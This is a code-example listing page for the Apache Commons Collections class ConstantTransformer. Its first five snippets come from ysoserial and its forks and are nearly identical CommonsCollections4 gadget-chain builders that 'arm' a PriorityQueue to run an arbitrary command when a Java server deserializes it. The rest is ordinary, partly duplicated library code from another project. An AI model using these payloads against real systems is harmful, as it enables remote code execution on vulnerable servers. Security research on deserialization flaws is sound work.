Java 类org.apache.commons.collections4.functors.ConstantTransformer 实例源码

项目:APacheSynapseSimplePOC    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial-modified    文件:CommonsCollections4.java   
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {

    Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial-plus    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:JavaSerialKiller    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:ysoserial    文件:CommonsCollections4.java   
public Queue<Object> getObject(final String command) throws Exception {
    Object templates = Gadgets.createTemplatesImpl(command);

    ConstantTransformer constant = new ConstantTransformer(String.class);

    // mock method name until armed
    Class[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return queue;
}
项目:HCFCore    文件:DefaultedMap.java   
/**
 * Factory method to create a defaulting map.
 * <p>
 * The value specified is returned when a missing key is found.
 *
 * @param <K>  the key type
 * @param <V>  the value type
 * @param map  the map to decorate, must not be null
 * @param defaultValue  the default value to return when the key is not found
 * @return a new defaulting map
 * @throws NullPointerException if map is null
 * @since 4.0
 */
public static <K, V> DefaultedMap<K, V> defaultedMap(final Map<K, V> map, final V defaultValue) {
    return new DefaultedMap<K, V>(map, ConstantTransformer.constantTransformer(defaultValue));
}
项目:HCFCore    文件:DefaultedMap.java   
/**
 * Constructs a new empty <code>DefaultedMap</code> that decorates
 * a <code>HashMap</code>.
 * <p>
 * The object passed in will be returned by the map whenever an
 * unknown key is requested.
 *
 * @param defaultValue  the default value to return when the key is not found
 */
public DefaultedMap(final V defaultValue) {
    this(ConstantTransformer.constantTransformer(defaultValue));
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a transformer that always returns null.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @return the transformer
 * @see ConstantTransformer
 */
public static <I, O> Transformer<I, O> nullTransformer() {
    return ConstantTransformer.nullTransformer();
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Creates a Transformer that will return the same object each time the
 * transformer is used.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @param constantToReturn  the constant object to return each time in the transformer
 * @return the transformer.
 * @see ConstantTransformer
 */
public static <I, O> Transformer<I, O> constantTransformer(final O constantToReturn) {
    return ConstantTransformer.constantTransformer(constantToReturn);
}
项目:HCFCore    文件:DefaultedMap.java   
/**
 * Factory method to create a defaulting map.
 * <p>
 * The value specified is returned when a missing key is found.
 *
 * @param <K>  the key type
 * @param <V>  the value type
 * @param map  the map to decorate, must not be null
 * @param defaultValue  the default value to return when the key is not found
 * @return a new defaulting map
 * @throws NullPointerException if map is null
 * @since 4.0
 */
public static <K, V> DefaultedMap<K, V> defaultedMap(final Map<K, V> map, final V defaultValue) {
    return new DefaultedMap<K, V>(map, ConstantTransformer.constantTransformer(defaultValue));
}
项目:HCFCore    文件:DefaultedMap.java   
/**
 * Constructs a new empty <code>DefaultedMap</code> that decorates
 * a <code>HashMap</code>.
 * <p>
 * The object passed in will be returned by the map whenever an
 * unknown key is requested.
 *
 * @param defaultValue  the default value to return when the key is not found
 */
public DefaultedMap(final V defaultValue) {
    this(ConstantTransformer.constantTransformer(defaultValue));
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Gets a transformer that always returns null.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @return the transformer
 * @see ConstantTransformer
 */
public static <I, O> Transformer<I, O> nullTransformer() {
    return ConstantTransformer.nullTransformer();
}
项目:HCFCore    文件:TransformerUtils.java   
/**
 * Creates a Transformer that will return the same object each time the
 * transformer is used.
 *
 * @param <I>  the input type
 * @param <O>  the output type
 * @param constantToReturn  the constant object to return each time in the transformer
 * @return the transformer.
 * @see ConstantTransformer
 */
public static <I, O> Transformer<I, O> constantTransformer(final O constantToReturn) {
    return ConstantTransformer.constantTransformer(constantToReturn);
}